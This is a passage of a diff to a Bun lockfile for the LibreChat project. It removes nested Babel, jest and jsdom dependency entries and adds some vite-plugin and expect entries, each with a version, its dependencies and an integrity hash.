- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
"@librechat/frontend/@testing-library/jest-dom/chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
- "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
- "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle/cssom": ["cssom@0.3.8", "", {}, "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="],
- "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
- "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/universalify": ["universalify@0.2.0", "", {}, "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46": ["tr46@3.0.0", "", { "dependencies": { "punycode": "^2.1.1" } }, "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
"expect/jest-message-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+ "expect/jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+
"express-static-gzip/serve-static/send/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
